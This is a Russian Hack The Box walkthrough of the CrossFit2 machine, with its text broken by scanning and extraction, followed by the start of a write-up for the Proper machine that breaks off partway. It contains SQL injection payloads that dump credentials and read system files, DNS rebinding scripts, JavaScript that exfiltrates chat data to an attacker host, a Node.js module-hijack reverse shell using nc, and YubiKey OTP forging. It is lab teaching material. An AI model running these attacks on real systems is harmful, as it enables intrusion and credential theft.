называ ется UNION SQL Injection и поз воля ет добавить к выбор ке стол бцы
таб лицы, которые ранее были нам не вид ны.

-1 
UNION ALL SELECT 1,2# name 2

-1 UNION ALL SELECT USER(),SLEEP(5)-- id

Вер нем пос ледние две стро ки нашего пер воначаль ного скрип та для руч- 
ной работы и прис тупим к экс плу ата ции.

   for _ in range(100):
      token = send_command(ws, token)

Пер вым делом получим вер сию базы дан ных.

-1 UNION ALL SELECT 1,@@version #

Вер сия базы дан ных

На хос те работа ет MySQL, поэто му даль ше мы будем исполь зовать ее син- 
таксис. Получим име на всех име ющих ся баз. Мы можем выводить все го одну
стро ку, поэто му исполь зуем фун кцию  для объ еди нения нес- 
коль ких строк в одну, а раз делите лем будет про бел.

GROUP_CONCAT

-1  UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM 
information_schema.schemata #

Спи сок имен баз

Ба за  слу жеб ная, поэто му нас не инте ресу ет. Давай
узна ем при виле гии нашего поль зовате ля в дру гих базах.

information_schema

-1  UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', 
privilege_type, '\n') FROM information_schema.schema_privileges #

При виле гии поль зовате ля для баз

Мы можем работать как с базой , так и с базой .
Для начала получим наз вания таб лиц.

crossfit employees

 
  

-1  UNION ALL SELECT 1,GROUP_CONCAT('\n', table_schema, ': ',table_
name) FROM information_schema.tables WHERE table_schema = 'crossfit' 
OR table_schema = 'employees' #

Таб лицы в базах crosst и employees

В базе  ничего инте рес ного не наш лось — надеж ду подава ла таб- 
лица , но она ока залась пус той.

crossfit
password_reset

По лучим наз вания стол бцов в таб лице .employees

  
-1  UNION ALL SELECT 1,GROUP_CONCAT('\n', column_name) FROM 
information_schema.columns WHERE table_name = 'employees' #

Стол бцы в таб лице employees

Мы можем получить учет ные дан ные для сай та. Зап росим име на, пароли
и адре са элек трон ной поч ты.

-1  UNION ALL SELECT 1,GROUP_CONCAT('\n', username, ' ', password, ' 
', email) FROM employees.employees #

Со дер жимое таб лицы employees

У нас есть четыре поль зовате ля и хеши от их паролей. С помощью ути литы
hashid опре делим тип хешей.

Ре зуль тат работы hashid

На ибо лее веро ятным будет хеш SHA-256 из-за его популяр ности, одна ко
с нас кока сло мать хеши и авто ризо вать ся на сай те не выш ло. Ни в онлай- 
новых базах, ни с помощью локаль ного перебо ра узнать хоть один из про- 
обра зов хеша не уда лось. Поэто му пос мотрим, какие еще у нашего поль- 
зовате ля базы дан ных есть при виле гии.

-1  UNION ALL SELECT 1,GROUP_CONCAT('\n', grantee, ' ', privilege_
type) FROM information_schema.user_privileges #

При виле гии поль зовате ля базы дан ных

Мы можем читать фай лы на хос те! Пер вым делом, конеч но же, про чита ем 
./etc/passwd

 -1  UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #

На ходим поль зовате лей ,  и , у которых есть воз можность
логинить ся в сис тему. А пос коль ку мы име ем дело с OpenBSD, абсо лют но все
служ бы тоже отра жены в этом фай ле. Прос мотрев этот спи сок, отме тим
демон relayd, который может дать нам новые адре са, и unbound, так как у него
есть дос туп на внеш ний порт 8953. Сна чала пос мотрим нас трой ки релея,
про читав файл .

node david john

/etc/relayd.conf

 -1  UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #

Со дер жимое фай ла /etc/relayd.conf

Так мы находим еще один домен , который добавим
в файл . Сра зу прос мотрим одно имен ный сайт, который нас
встре чает фор мой авто риза ции.

crossfit-club.htb
/etc/hosts

Фор ма авто риза ции

Так как зап росы мы по-преж нему дела ем через Burp Proxy, нам это помога ет
опре делить под клю чение неко его API, о чем говорит обра щение к ./api/auth

Вклад ка Burp History

При попыт ке авто риза ции с тес товыми учет ными дан ными обна ружи ваем
еще одну стра ницу, которая работа ет с фор матом JSON.

Вы пол нение зап роса на авто риза цию

К тому же на сай те име ется фор ма регис тра ции. Кноп ка в ней может быть
и отклю чена, но мы можем поп робовать все рав но авто ризо вать ся —
при помощи Burp Repeater. Получим име на перемен ных из исходно го кода
стра ницы и отпра вим тес товые дан ные на . Но в отве те нам ска- 
жут, что эта фун кция дос тупна толь ко адми нис тра тору.

/api/signup

Фор ма регис тра ции

Вы пол нение зап роса на регис тра цию

Тут пока боль ше ничего не сде лать, поэто му идем даль ше.

Продолжение статьи →
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Unbound

Те перь перей дем к Unbound. Unbound — это кеширу ющий DNS-сер вер,
который обслу жива ет исклю читель но рекур сивные зап росы. Во вре мя работы
сер вера кеш целиком рас полага ется в памяти, а его раз мер огра ничен ука- 
зан ным объ емом. Из фай ла  мы узна ли домаш нюю дирек торию
Unbound — . Пер вым делом прос мотрим кон фигура ции 

.

/etc/passwd
/var/unbound /var/

unbound/etc/unbound.conf

 -1  UNION ALL SELECT 1,LOAD_FILE('/var/unbound/etc/unbound.conf') #

Со дер жимое фай ла unbound.conf

В кон фиге мы находим опцию для уда лен ной нас трой ки, что поз волит нам
нас тра ивать DNS-сер вер. В том же фай ле находим пути к необ ходимым
для вза имо дей ствия клю чам, про чита ем их и сох раним на локаль ный хост.

/var/unbound/db/root.key 
/var/unbound/etc/tls/unbound_server.key 
/var/unbound/etc/tls/unbound_server.pem 
/var/unbound/etc/tls/unbound_control.key 
/var/unbound/etc/tls/unbound_control.pem 

По луче ние клю чевых фай лов Unbound

Êîíôèãóðàöèÿ Unbound

Порт на сер вере открыт, уда лен ный кон троль акти вен, клю чи у нас есть.
Давай поп робу ем уста новить вза имо дей ствие, для это го сна чала уста новим
Unbound.

apt sudo install unbound 

Пос ле уста нов ки ско пиру ем получен ные фай лы клю чей в дирек торию 
, а саму служ бу кон фигури руем, как на сер вере. Файл 

 дол жен содер жать опцию :

/etc/
unbound/ /etc/
unbound/unbound.conf remote-control

remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-key-file: "/etc/unbound/unbound_server.key"
    server-cert-file: "/etc/unbound/unbound_server.pem"
    control-key-file: "/etc/unbound/unbound_control.key"
    control-cert-file: "/etc/unbound/unbound_control.pem"

Те перь про верим под клю чение к служ бе Unbound уда лен ного хос та
с помощью .unbound-control

sudo unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.
232@8953 status 

Под клю чение к служ бе Unbound

DNS rebinding

 — ата ка, при которой вре донос ная веб-стра ница зас тавля ет
бра узер поль зовате ля запус тить скрипт, который обра щает ся к дру гим сай- 
там и сер висам. Теоре тичес ки пра вила огра ниче ния домена (Same Origin
Policy) пре пятс тву ют подоб ным запус кам: сце нарии на сто роне кли ента могут
получать дос туп толь ко к дан ным с того сай та, с которо го был получен скрипт.
В про цес се при мене ния полити ки бра узер срав нива ет домен ные име на,
но ата ка переп ривяз ки обхо дит эту защиту, зло упот ребляя воз можностью
DNS быс тро менять адре са.

DNS rebinding

Смысл в том, что зло умыш ленник регис три рует домен и кон тро лиру ет
DNS-сер вер, который его обслу жива ет. DNS-сер вер нас тра ивает ся так, что- 
бы его отве ты содер жали очень корот кое вре мя жиз ни записей (TTL), что пре- 
дот вра щает кеширо вание отве та кли ентом или резол вером. Ког да жер тва
начина ет переход на вре донос ный домен, DNS-сер вер ата кующе го сна чала
воз вра щает нас тоящий IP-адрес веб-сер вера, который пре дос тавит вре- 
донос ный код кли енту. Затем вре донос ный код на сто роне кли ента совер- 
шает допол нитель ные обра щения к исходно му име ни домена. Same Origin
Policy раз реша ет такие зап росы. Одна ко во вре мя исполне ния скрип та в бра- 
узе ре жер твы из-за уста рева ния пре дыду щего DNS-отве та про изво дит ся
новый зап рос DNS для дан ного домена и зап рос пос тупа ет к DNS-сер веру
ата кующе го.

Так как в нас трой ках релея ука зан домен по мас ке 
, мы можем зарегис три ровать свой домен, к при меру 

. Свой домен тоже добавим в файл . А теперь ука- 
зыва ем редирект DNS на свой хост, что бы, ког да на сер вер при шел зап рос
к домену , он перес про сил соот ветс тву ющий
адрес с нашего DNS-сер вера.

*employees.crossfit.
htb ralfemployees.
crossfit.htb /etc/hosts

ralfemployees.crossfit.htb

unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 
forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53 

Нас трой ка Unbound

Нас трой ки при мене ны, оста лось разоб рать ся с локаль ным DNS-сер вером.
В качес тве такого мы можем исполь зовать лег кую ути литу dnschef, уже пре- 
дус танов ленную в некото рых боевых дис три бути вах вро де Kali Linux. Ука зыва- 
ем интерфейс (опция ), свой домен ( ) и адрес, который ему
будет соот ветс тво вать ( ).

-i --fakedomains
--fakeip

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb 
--fakeip 10.10.14.117 

Зап рос сме ны пароля

Те перь все обра щения на  дол жны при водить
к нашему локаль ному веб-сер веру. Что бы это про тес тировать, запус тим лис- 
тенер на пор те 80 (исполь зуем netcat: ) и выпол ним зап рос
на сме ну пароля, но к нашему вир туаль ному хос ту. Вот толь ко сер вер отве тит,
что дан ная услу га дос тупна лишь для локаль ного хос та. Тог да давай воз вра- 
щать адрес 127.0.0.1 и пов торно выпол ним зап рос.

ralfemployees.crossfit.htb

nc -lvp 80

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb 
--fakeip 127.0.0.1 

Ло ги dnschef

Зап рос сме ны пароля

В резуль тате мы видим, что зап рос успешно про ходит, а в окне логов dnschef
наб люда ем две записи, то есть зап росов ста ло два. Давай теперь выпол ним
ата ку DNS rebinding. Для это го напишем скрипт, который пос ле двух обра- 
щений переза пус тит dnschef, что бы тот с новыми нас трой ками ука зывал не на
локаль ный адрес, а на наш. При этом пос ле запус ка мы выпол ним зап рос
для сме ны пароля, что бы сле дующий зап рос от дру гого поль зовате ля при шел
на наш сер вер.

#!/bin/bash

0 count=

line 
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb 
--fakeip 127.0.0.1 2>&1 | while read 
do

           case "$line" in *response*) (( count++ ))
                echo "Request $count"

   1                 [[ "$count" -gt ]] && pkill -f dnschef 
       esac

done
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb 
--fakeip 10.10.14.117 

curl       
  

 

-s -X "POST" -H "Host: ralfemployees.crossfit.htb" -H
"Content-Type: application/x-www-form-urlencoded" -d "email=david.
palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"

Ло ги dnschef

Ок но netcat

Спус тя минуту к нашему DNS при шел зап рос, и dnschef вер нул наш адрес.
В окне netcat сра зу уви дим зап рос на сме ну пароля от поль зовате ля. Ата ка
прош ла успешно, оста лось про экс плу ати ровать эту уяз вимость. Для это го мы
соз даем на сво ем сер вере файл , который содер жит
код на JavaScript. Этот код будет выпол нять зап рос к 

, получать от сер вера токен и выпол нять еще один зап рос
на соз дание поль зовате ля в чате (нам эта фун кция была недос тупна).

password-reset.php
http://crossfit-

club.htb/api/auth

<html>
       <script>

                   var xhr = new XMLHttpRequest();
                  const url = "http://crossfit-club.htb/api/auth";

                  xhr.onreadystatechange = function() {
                           if (xhr.readyState === 4) {

                                  var obj = JSON.parse(xhr.response);
                                   var xhr2 = new XMLHttpRequest();

                                xhr2.setRequestHeader("Content-Type",
"application/json;charset=UTF-8");

                                xhr2.setRequestHeader("X-CSRF-TOKEN",
obj.token);

    
         

   

                               const data = JSON.stringify({ "
username" : "ralf2", "password" : "ralf2", "confirm" : "ralf2", "
email" : "ralf2@ralf.htb" });

                                 xhr2.withCredentials = true;
                               xhr2.send(data);
                       }
               }

                xhr.open("GET", url);
                 xhr.withCredentials = true;

               xhr.send();
       </script>
</html>

За пус каем веб-сер вер Apache коман дой 
и помеща ем скрипт в дирек торию веб-сер вера . Затем пов- 
торя ем нашу ата ку и пос ле появ ления зап росов в окне dnschef прос мотрим
логи Apache в фай ле .

sudo service apache2 start
/var/www/html/

/var/log/apache2/access.log
Про ходим к нашему сай ту и пыта емся авто ризо вать ся. К сожале нию,

ничего не получа ется. Почему?

Фор ма авто риза ции crosst-club.htb

GET-зап росы не под держи вают ся, а POST-зап росы тре буют ука зания
парамет ров. При этом через HTTP-метод  мы можем спо кой но
общать ся с сер вером и узнать, какие зап росы он при нима ет. В отве те уви дим
заголо вок 

. То есть нам нуж но переда вать заголо вок
, он показы вает, отку да будет про изво дить ся заг рузка. В нем нет

информа ции о пути, и он содер жит толь ко имя сер вера. Origin час то исполь- 
зует ся в CORS, что нам и нуж но про верить.

OPTIONS

[Vary](https://developer.mozilla.org/en-US/docs/Web/
HTTP/Headers/Vary): Origin
Origin

CORS

 (Cross-Origin Resource Sharing) — это механизм, который поз воля ет
передать бра узе ру информа цию о том, какие внеш ние ресур сы мож но
исполь зовать при заг рузке веб-стра ницы. Что бы это работа ло, ответ от сто- 
рон него сер вера дол жен содер жать вер ный заголо вок CORS. Отпра вим тес- 
товые сооб щения с раз ным зна чени ем это го заголов ка, что бы опре делить
«хорошие» домены, которые про пус кают зап рос.

CORS

crosst-club.htb

employees.crosst.htb

gym.crosst.htb

ralfemployees.crosst.htb

Поч ти в каж дом из отве тов мы видим соот ветс тву ющие домены в заголов ке
. Исклю чение — это наш 

. Имен но поэто му зап рос и был заб локиро ван. То же про изош- 
ло с нашим под став ным зап росом, который дол жен был соз дать поль зовате- 
ля.

Access-Control-Allow-Origin ralfemployees.
crossfit.htb

Очень час то даже хорошие тех нологии содер жат уяз вимос ти из-за
челове чес ких оши бок. К при меру, раз работ чик мог не заэк раниро вать
какие-то сим волы при нас трой ке CORS. Если в кон фиге ука зан сим вол точ ки
без обратно го сле ша перед ней, то вмес то раз делите ля домена получим
регуляр ное выраже ние, которое соот ветс тву ет любому сим волу. Давай про- 
верим это, заменив точ ку какой-нибудь бук вой.

gymRcrosst.htb

Зап рос про шел, зна чит, адрес  не заб локиро ван!http://gymRcrossfit.htb
Мы можем исполь зовать это, соз дав соот ветс тву ющий домен. Прос то

изме ним  на ! Пра вим скрипт .ralfemployees gymRcrossfit fake_dns.sh

#!/bin/bash

0 count=

line 
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 127.
0.0.1 2>&1 | while read 
do

           case "$line" in *response*) (( count++ ))
                echo "Request $count"

   1                 [[ "$count" -gt ]] && pkill -f dnschef 
       esac
done
dnschef -i 10.10.14.117 --fakedomains gymRcrossfit.htb --fakeip 10.
10.14.117 

За тем перекон фигури руем Unbound:

unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 
forward_add +i gymRcrossfit.htb. 10.10.14.117@53 

И пов торя ем ата ку. Нам нуж но, что бы ори гиналь ный домен при сутс тво вал
в заголов ке HOST, поэто му ука жем его в качес тве пути пос ле нашего домена.

curl      
   

 

-s -X "POST" -H "Host: gymRcrossfit.htb/employees.crossfit.htb"
-H "Content-Type: application/x-www-form-urlencoded" -d "email=david.
palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"

Спус тя две-три минуты в логах Apache уви дим зап рос, а затем успешно авто- 
ризу емся на ата куемом сай те.

Глав ная стра ница сай та

На сай те есть чат. Через нес коль ко секунд мы начина ем получать сооб щения
в нем.

Глав ная панель чата

Со обще ния в гло баль ном чате

Прос матри вая зап росы в Burp, видим, что исполь зует ся тех нология 
.

socket.
io

Зап росы в Burp History

Но куда инте рес нее зап рос на под клю чение к чату.

Па рамет ры для добав ления к чату

Нель зя ли под клю чить ся от име ни адми на? То есть пов торить ата ку, но уже
не для соз дания поль зовате ля, а для получе ния сооб щений. В коде под клю- 
чим биб лиоте ку , а затем пов торим зап рос. Получен ные дан ные
отпра вим в кодиров ке Base64 как параметр для нашей стра ницы. Новый код

 пред став лен ниже.

socket.io.js

password-reset.php

<html>
       <head>
               <script src="http://crossfit-club.htb/socket.io/
socket.io.js"></script>

                  <script>var s = io.connect("http://crossfit-club.htb"
);

                            s.emit("user_join", { username : "Admin" });
                              s.on("private_recv", (d) => {var xhr = new

XMLHttpRequest();
 

   
                               xhr.open("GET", "http://10.10.14.117/
evil.php?q=" + btoa(JSON.stringify(d)), true);
                               xhr.send();
                       });
               </script>
       </head>
       <body></body>
</html>

Ло ги Apache

В логах сер вера сна чала видим обра щение к стра нице  c эксфиль- 
тра цией дан ных. Декоди руем Base64 и получа ем пароль в одном из сооб- 
щений. Этот пароль поз воля ет авто ризо вать ся от име ни поль зовате ля david.

evil.php

Де коди рова ние дан ных

Флаг поль зовате ля

Продолжение статьи →
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Мы наконец-то доб рались до SSH, но пока лишь в качес тве поль зовате ля.
Что бы узнать, куда дви гать ся даль ше, исполь зуем скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

За тем с помощью встро енных средств SSH заг ружа ем скрипт на уда лен ный
хост, наз нача ем ему пра ва и выпол няем.

scp /home/ralf/tmp/tools/linpeas.sh david@crossfit.htb:/tmp/ 
chmod 777 /tmp/linpeas.sh 
/tmp/linpeas.sh 

Ана лизи руя вывод PEASS, видим две важ ные для нас вещи. Во-пер вых,
для груп пы , в которой мы сос тоим, дос тупна дирек тория 

.
sysadmins /opt/

sysadmins

Дос тупные для записи дирек тории

Во-вто рых, в спис ке недав но модифи циро ван ных фай лов отме чен какой-то
лог ./tmp/chatbot.log

Спи сок недав но модифи циро ван ных фай лов

В этом логе находим информа цию о том, что каж дую минуту запус кает ся бот.

Со дер жимое фай ла /tmp/chatbot.log

А из содер жимого катало га  узна ем, что это за бот./opt/sysadmin

Со дер жимое катало га /opt/sysadmin

Бот уста нав лива ет соеди нение WebSocket и записы вает резуль тат в лог.

Со дер жимое фай ла statbot.js

Са мое инте рес ное в этом фай ле — под клю чение самопис ного модуля 
.

log-
to-file

   const logger = require('log-to-file');

Node.js

Обыч ным поис ком по фай ловой сис теме ищем этот модуль и смот рим содер- 
жимое.

 d   find / -type -name 'log-to-file' -ls 2>/dev/null 

По иск катало га log-to-le

Со дер жимое катало га log-to-le

Все фай лы дос тупны нам толь ко для чте ния, поэто му мы не можем взять
и записать в них код. Но инте ресен сам спо соб под клю чения катало га 

.
log-

to-file
Ес ли иден тифика тор модуля, передан ный в фун кцию , не явля- 

ется род ным модулем Node.js и не начина ется с одной из пос ледова тель нос- 
тей ,  или , то Node.js пыта ется най ти в родитель ском катало ге текуще- 
го исполня емо го модуля дирек торию  и из нее под клю чить
иско мый модуль. Если это го сде лать не уда ется, то Node.js под нима ется
еще на каталог выше и пов торя ет опе рацию. Таким обра зом, в нашем при- 
мере Node.js выс тра ивает такую пос ледова тель ность под клю чений:

require()

/ ../ ./
/node_modules

1. /opt/sysadmin/server/statbot/node_modules/log-to-file
2. /opt/sysadmin/server/node_modules/log-to-file
3. /opt/sysadmin/node_modules/log-to-file
4. /opt/node_modules/log-to-file
5. /node_modules/log-to-file

Так как каталог  дос тупен для записи, мы можем соз дать в нем
струк туру катало гов , где помес тим свой вре- 
донос ный код, к при меру реверс-шелл:

/opt/sysadmin
/node_modules/log-to-file

require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/
bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");

INFO

Под робнее о таких ата ках на Node.js читай
в статье «

».
NPM Hĳacking. Встра иваем про изволь- 

ный код в при ложе ния на Node.js

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях удоб но исполь зовать  — readline-обо лоч ку, которая
в чис ле про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос- 
тупна в репози тории дис три бути ва.

rlwrap

apt install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

 rlwrap nc -lvp [port] 

Вы пол няем ука зан ные выше дей ствия и в течение минуты получим бэк- 
коннект.

mkdir /opt/sysadmin/node_modules 
 cp -R /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_

modules/ 
rm /opt/sysadmin/node_modules/log-to-file/app.js 

 
 

echo 'require("child_process").exec("rm /tmp/f;mkfifo /tmp/f;cat /
tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4321 >/tmp/f");' > /opt/
sysadmin/node_modules/log-to-file/app.js 

Бэк коннект в окне netcat

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как со сме ной поль зовате ля у нас изме нил ся и кон текст, то сто ит сно ва
про верить сис тему на наличие путей повыше ния при виле гий. Пос ле пов- 
торно го запус ка LinPeas мы най дем при ложе ние ,
у которо го уста нов лены биты SUID и SGID. А так как его вла делец — root, то
это при ложе ние будет работать в кон тек сте с высоки ми при виле гиями.

/usr/local/bin/log

При ложе ния с уста нов ленным SGID

Пос ле запус ка при ложе ния узна ем, что в качес тве парамет ра ему нуж но лишь
передать путь к фай лу.

За пуск /usr/local/bin/log

То есть теперь мы можем про читать любой файл в сис теме. Но вот воп рос,
какой файл читать, учи тывая, что мы работа ем в OpenBSD. Конеч но, мож но
узнать файл рута и сдать флаг, но наша задача — получить управле ние. Ключ
SSH про читать не выш ло, так как такого фай ла не ока залось.

В выводе LinPeas так же при сутс тву ет и дирек тория с бэкапа ми, при чем
дос тупная толь ко руту. Так мы мог ли бы про читать любой сох ранен ный файл.

Что бы узнать, для каких фай лов в OpenBSD делались резер вные копии, мы
можем пос мотреть содер жимое фай ла ./etc/changelist

И там обна ружим желан ный ключ SSH поль зовате ля root.
При резер вном копиро вании наз вания фай лов генери руют ся из их пол- 

ного пути, при этом косая чер та заменя ется на знак под черки вания.
К получив шей ся стро ке добав ляет ся рас ширение . Так, файл 

 будет сох ранен под име нем 
.

.current
/root/.ssh/id_rsa root_.ssh_id_rsa.
current

/usr/local/bin/log /var/backups/root_.ssh_id_rsa.current 

Чте ние резер вной копии фай ла клю ча

К моему разоча рова нию, под клю чить ся с этим клю чом не получи лось, так
как у нас пот ребова ли пароль.

Под клю чение по SSH

Смот рим нас трой ки SSH и кон фигура ции логина. Из фай ла 
 узна ем, что для рута необ ходим как ключ, так и пароль. А по

содер жимому фай ла  опре деля ем, что для SSH тре бует ся
YubiKey.

/etc/ssh/
sshd_config

/etc/login.conf

Со дер жимое фай ла sshd_cong

Со дер жимое фай ла login.conf

YubiKey — это аппа рат ный ключ безопас ности, его про изво дит ком пания
Yubico. Исполь зует ся про токол уни вер саль ной двух фактор ной аутен тифика- 
ции, одно разо вые пароли и асим метрич ное шиф рование. Клю чи YubiKey при- 
меня ют алго рит мы HOTP и TOTP, эму лируя кла виату ру по про токо лу USB HID.

OpenBSD вклю чает встро енную под дер жку вхо да через YubiKey. Аутен- 
тифика ция YubiKey не заменя ет аутен тифика цию по паролю, а выпол няет ее
и по паролю, и по YubiKey. Но в нашем слу чае с SSH — по клю чу и OTP
YubiKey. Для работы с YubiKey без аппа рат ного клю ча мож но исполь зовать
и пакет низ коуров невых прог рамм , который мож но  с сай та
про изво дите ля. Пос ле заг рузки нуж но выпол нить сбор ку.

yubico-c ска чать

apt sudo install asciidoc-base dh-autoreconf 
./configure 
make check 

make sudo install

Тес товый запуск при ложе ния

Те перь нам необ ходимо получить фай лы клю чей с целево го хос та, рас- 
положен ные в сле дующей дирек тории , где

 — это целевой поль зователь. В слу чае с поль зовате лем root нам нуж ны
фай лы

/var/db/yubikey/$user.key
$user

root.key — AES-ключ;•
root.uid — иден тифика тор;•
root.ctr — счет чик.•

/usr/local/bin/log /var/db/yubikey/root.key 
/usr/local/bin/log /var/db/yubikey/root.uid 
/usr/local/bin/log /var/db/yubikey/root.ctr 

По луче ние фай лов клю чей

Те перь про парамет ры при ложе ния . Нам нуж но передать ключ
AES, иден тифика тор поль зовате ля, пер вые 16 бит счет чика, пос ледова тель- 
ность  и пос ледние 8 бит счет чика, уста нов ленные как еди ница.
Для пре обра зова ния переве дем зна чение счет чика в шес тнад цатерич ный
вид, пос ле чего смо жем его раз делить.

ykgenerate

c0a8 00

Пре обра зова ние зна чения счет чика

Те перь мы можем получить OTP:

./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 0f08 c0a8 
00 02 

По луче ние OTP

Мы получи ли OTP и можем исполь зовать его как пароль SSH при предъ явле- 
нии клю ча.

Флаг рута

Ма шина зах вачена, и мы име ем над ней пол ный кон троль!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://xakep.ru/2020/10/26/npm-hijacking/
https://github.com/hanslub42/rlwrap
https://developers.yubico.com/yubico-c/
https://developers.yubico.com/yubico-c/Releases/libyubikey-1.13.tar.gz
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ВЗЛОМ

В этой статье мы прой дем машину Proper
с . В про цес се я покажу,
как получить учет ные дан ные к сай ту через
SQL-инъ екцию, написав свой tamper
к sqlmap. Далее экс плу ати руем race
condition через RFI, что бы получить пер- 
воначаль ный дос туп к хос ту. Завер шим
про хож дение повыше нием при виле гий
через исполь зование име нован ных каналов
ском про мети рован ной служ бы.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

IP машины — 10.10.10.231, заносим его в :/etc/hosts

10.10.10.231 proper.htb 

И ска ниру ем пор ты.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем все го один откры тый порт — 80, там
откли кает ся веб-сер вер Microsoft IIS httpd 10.0.

Прис тупа ем к осмотру сай та.

Глав ная стра ница сай та

Ñêàíèðîâàíèå âåá-êîíòåíòà

На самом сай те зацепить ся не за что, поэто му вру баем перебор катало гов.

Справка: сканирование веб-сайта
Ска ниро вание сай та методом перебо ра катало гов и фай лов по сло варю —
это одно из пер вых дей ствий при пен тесте веб-при ложе ния. Для это го обыч- 
но при меня ют ,  или более быс трый . Мы же в этой
статье будем исполь зовать встро енные средс тва Burp Suite.

dirsearch DIRB gobuster

Пе рех ватыва ем зап рос в Burp Proxy и в кон текс тном меню выбира ем
Engagement tools → Discover content. Ука зыва ем глу бину ска ниро вания, инте- 
ресу ющие нас рас ширения фай лов и бэкапов.

Нас трой ки Burp Discover content

Спус тя нес коль ко минут (если ты, как и я, выб рал 200 потоков для ска ниро- 
вания) получим кар ту сай та, отталки ваясь от которой будем опре делять сле- 
дующий век тор ата ки.

Кар та сай та proper.htb

Я пос мотрел все ком мента рии на всех стра ницах (в кон текс тном меню
Engagement tools → Find comments), но сно ва ничего важ ного. А вот файл

 при нима ет какие-то необыч ные парамет ры. Закинем
этот зап рос в Burp Repeater для тес та. В таких слу чаях сто ит получить все воз- 
можные отве ты от сер вера при раз ном количес тве парамет ров и даже их раз- 
ном зна чении. Так, если уда лить один из парамет ров, то получа ем ошиб ку,
содер жащую соль. А если изме нить зна чение любого из парамет ров, то нам
сооб щат об обна руже нии ата ки.

products-ajax.php

Зап рос без одно го парамет ра

Зап рос с изме нен ным зна чени ем одно го из парамет ров

Так как исполь зует ся соль, параметр , ско рее все го, хеш MD5 от зна чения
парамет ра . Если его изме нить, это при ведет к ошиб ке, что под- 
твержда ет нашу догад ку. Что бы это про верить, нуж но поп робовать все воз- 
можные вари анты хеширо вания с исполь зовани ем соли. Их мож но най ти
в справ ке к прог рамме John the Ripper.

h
order

john md5 --list=subformats | grep 

Ва риан ты хеширо вания MD5 с исполь зовани ем соли

Для опре деле ния алго рит ма нам нуж но соз дать сло варь ( ), содер жащий
стро ку , и файл с хешем и солью ( ), записан ными через знак дол- 
лара: . Затем переби раем все воз можные фор маты. Что бы сде лать
это быс тро, напишем скрипт Bash, который будет пар сить фор мат из вывода
справ ки, а затем при менять его в коман де бру та хеша.

word
id desc hash
hash$salt

Сна чала уста новим перенос стро ки в качес тве раз делите ля ( ), а потом
будем в цик ле получать каж дую стро ку из справ ки (перемен ная ).
Для каж дой такой стро ки (нап ример, 

) будем пар сить фор мат:

IFS
entry

Format = dynamic_29 type = 
dynamic_29: md5(utf16($p))
1. Ко ман дой  уда ляем из стро ки все про белы (резуль тат:

).
tr -d ' '

Format=dynamic_29 type=dynamic_29:md5(utf16($p))
2. Ко ман дой  раз деля ем стро ку по сим волу  и получа ем

третью часть (резуль тат: ).
cut -d '=' -f 3 =

dynamic_29:md5(utf16($p))
3. Ко ман дой  раз деля ем стро ку по сим волу  и получа ем

пер вую часть (резуль тат: ).
cut -d ':' -f 1 :

dynamic_29

За тем выпол няем перебор по получен ному алго рит му (
). Так выг лядит пол ный скрипт:

john --
